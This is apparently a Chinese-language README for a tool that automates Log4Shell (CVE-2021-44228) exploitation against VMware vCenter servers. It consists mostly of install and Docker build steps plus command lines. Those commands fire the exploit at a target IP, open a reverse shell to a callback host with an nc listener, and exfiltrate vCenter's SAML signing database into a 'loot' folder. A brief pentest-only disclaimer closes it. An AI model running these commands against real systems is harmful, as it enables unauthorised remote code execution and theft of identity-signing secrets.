在vCenter中利用CVE-2021-44228实现远程代码执行等操作。关于利用过程的博客文章详见下方链接:
该漏洞的概念验证代码分散各处,且需要手动执行。本仓库将利用过程自动化,并展示利用后可能实现的额外攻击路径。
此仓库可手动使用,也可通过Docker运行。
要手动下载并运行利用工具,请执行以下步骤。首先,确保攻击主机上已安装Java和Maven。在基于Debian的操作系统上,可通过apt运行以下命令完成安装:
apt update && apt install openjdk-11-jre maven
克隆GitHub仓库并安装所有Python依赖:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
在Log4jCenter仓库根目录下,使用以下命令编译Rogue-Jndi项目:
mvn package -f utils/rogue-jndi/
首先,确保攻击主机上已安装Docker(此处不再赘述安装步骤)。
然后,执行以下命令克隆仓库并构建我们将使用的Docker镜像:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
运行容器时,请使用类似下方的命令,并在末尾附加您的命令行参数。例如,以下命令用于利用vCenter并获取反弹shell。请注意,容器本身不会捕获反弹shell,您需要在另一个shell会话中创建nc监听器:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
在本地系统上使用该工具获取反弹shell:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
在Docker容器中导出SAML签名数据库:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
本工具专为渗透测试设计;未经双方同意使用本工具攻击目标属于违法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任,且不对本程序的任何滥用行为负责。